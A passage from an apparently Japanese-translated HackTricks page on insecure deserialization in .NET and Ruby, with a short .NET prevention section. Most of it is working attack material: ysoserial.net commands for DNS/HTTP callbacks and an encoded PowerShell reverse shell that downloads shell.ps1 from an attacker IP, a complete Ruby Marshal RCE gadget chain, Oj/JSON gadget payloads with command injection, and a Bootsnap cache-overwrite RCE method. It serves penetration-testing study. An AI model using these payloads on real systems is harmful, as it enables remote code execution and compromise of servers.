  • --raf -f Json.Net -c "anything"これは、提供されたフォーマッタ(この場合はJson.Net)で使用できるすべてのガジェットを示します。
  • --sf xmlガジェット-g)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しない)。

ysoserialの例を使用して悪用を作成します:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test
このパラメータを指定すると、ysoserial.netローカルでエクスプロイトを試みる ので、ペイロードが正しく機能するかどうかをテストできます。
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

これは、エクスプロイトをテストするために、コードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します。

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the 前のコードは作成されたエクスプロイトに脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。
そのため、--testパラメータは、どのコードのチャンクがysoserial.netによって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。

ViewState

.Netの__ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください 任意のコードを実行するために。 もしあなたが被害者のマシンで使用されている秘密をすでに知っているなら、コードを実行する方法を知るためにこの投稿を読んでください。**

Prevention

デシリアライズに関連するリスクを軽減するために、.Netで:

  • データストリームにオブジェクトタイプを定義させないようにします。 可能な場合はDataContractSerializerまたはXmlSerializerを利用してください。
  • JSON.Netの場合、TypeNameHandlingNoneに設定します: %%%TypeNameHandling = TypeNameHandling.None%%%
  • JavaScriptSerializerJavaScriptTypeResolverと一緒に使用しないでください。
  • デシリアライズ可能なタイプを制限し、System.IO.FileInfoのような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。
  • リスクのあるプロパティを持つタイプに注意してください。 例えば、System.ComponentModel.DataAnnotations.ValidationExceptionValueプロパティは悪用される可能性があります。
  • 攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、DataContractSerializerXmlSerializerでさえ脆弱になります。
  • BinaryFormatterJSON.NetのためにカスタムSerializationBinderを使用してホワイトリスト制御を実装します。
  • .Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。
  • インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、System.Windows.Data.ObjectDataProviderのような既知のガジェットを信頼できないデータソースにさらさないようにします。

References

Ruby

Rubyでは、シリアル化はmarshalライブラリ内の2つのメソッドによって行われます。最初のメソッドはdumpとして知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドloadは、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。

シリアル化されたオブジェクトを保護するために、**RubyはHMAC(Hash-Based Message Authentication Code)**を使用し、データの整合性と真正性を確保します。この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

他のRCEチェーンを利用してRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() メソッド

この脆弱性レポートで説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの.send()メソッドに到達すると、このメソッドはオブジェクトの任意の他のメソッドを任意のパラメータで呼び出すことを可能にします。

例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

さらに、.send() のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、引数を必要としないか、デフォルト値を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。
これを実現するために、その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙することが可能です。

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Rubyクラス汚染

ここでRubyクラスを汚染し、悪用する方法を確認してください

Ruby _json汚染

ボディにハッシュ化できない値(配列など)を送信すると、それらは新しいキー_jsonに追加されます。しかし、攻撃者はボディに任意の値を持つ_jsonという値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後_jsonパラメータを使用して何らかのアクションを実行する場合、認可バイパスが行われる可能性があります。

Ruby _json汚染ページで詳細情報を確認してください

その他のライブラリ

この技術はこのブログ記事から取得されました。

オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、これらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):

ライブラリ入力データクラス内のキックオフメソッド
Marshal (Ruby)バイナリ_load
OjJSONhash(クラスはハッシュ(マップ)にキーとして入れる必要があります)
OxXMLhash(クラスはハッシュ(マップ)にキーとして入れる必要があります)
Psych (Ruby)YAMLhash(クラスはハッシュ(マップ)にキーとして入れる必要があります)
init_with
JSON (Ruby)JSONjson_create([json_createに関するノートを最後に参照](#table-vulnerable-sinks))

基本的な例:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪用しようとした場合、hash関数内でto_sを呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

さらに、前述の技術を使用すると、システムにフォルダーが作成されることがわかりました。これは、別のガジェットを悪用してこれを完全なRCEに変換するための要件です。

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

元の投稿の詳細を確認してください。

ブートストラップキャッシング

実際にはデシリアライズの脆弱性ではありませんが、ブートストラップキャッシングを悪用して、任意のファイル書き込みからRailsアプリケーションでRCEを取得するための素晴らしいトリックです(完全な元の投稿はこちらで見つけてください)。

以下は、Bootsnapキャッシングを悪用して任意のファイル書き込み脆弱性を悪用するための記事で詳述された手順の短い要約です:

  • 脆弱性と環境の特定

Railsアプリのファイルアップロード機能は、攻撃者が任意にファイルを書き込むことを許可します。アプリは制限付きで実行されます(Dockerの非ルートユーザーのため、tmpのような特定のディレクトリのみが書き込み可能)が、これによりBootsnapキャッシュディレクトリ(通常はtmp/cache/bootsnapの下)への書き込みが可能になります。

  • Bootsnapのキャッシュメカニズムの理解

Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーは、アプリの起動時にキャッシュを検証するために使用されます。

  • ファイルメタデータの収集

攻撃者は、Railsの起動時に読み込まれる可能性のあるターゲットファイル(例えば、Rubyの標準ライブラリからのset.rb)を最初に選択します。コンテナ内でRubyコードを実行することで、重要なメタデータ(RUBY_VERSION、RUBY_REVISION、サイズ、mtime、compile_optionなど)を抽出します。このデータは、有効なキャッシュキーを作成するために不可欠です。

  • キャッシュファイルパスの計算

BootsnapのFNV-1a 64ビットハッシュメカニズムを再現することで、正しいキャッシュファイルパスが決定されます。このステップにより、悪意のあるキャッシュファイルがBootsnapが期待する場所(例:tmp/cache/bootsnap/compile-cache-iseq/の下)に正確に配置されることが保証されます。

  • 悪意のあるキャッシュファイルの作成

攻撃者は、以下のことを行うペイロードを準備します:

  • 任意のコマンドを実行する(例えば、プロセス情報を表示するためにidを実行)。
  • 再帰的な悪用を防ぐために、実行後に悪意のあるキャッシュを削除。
  • アプリケーションがクラッシュしないように元のファイル(例:set.rb)を読み込む。

このペイロードは、バイナリRubyコードにコンパイルされ、慎重に構築されたキャッシュキーのヘッダー(以前に収集したメタデータとBootsnapの正しいバージョン番号を使用)と連結されます。

  • 上書きと実行のトリガー 任意のファイル書き込み脆弱性を使用して、攻撃者は計算された場所に作成したキャッシュファイルを書き込みます。次に、サーバーの再起動をトリガーします(tmp/restart.txtに書き込むことで、Pumaによって監視されています)。再起動中、Railsがターゲットファイルを要求すると、悪意のあるキャッシュファイルが読み込まれ、リモートコード実行(RCE)が発生します。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする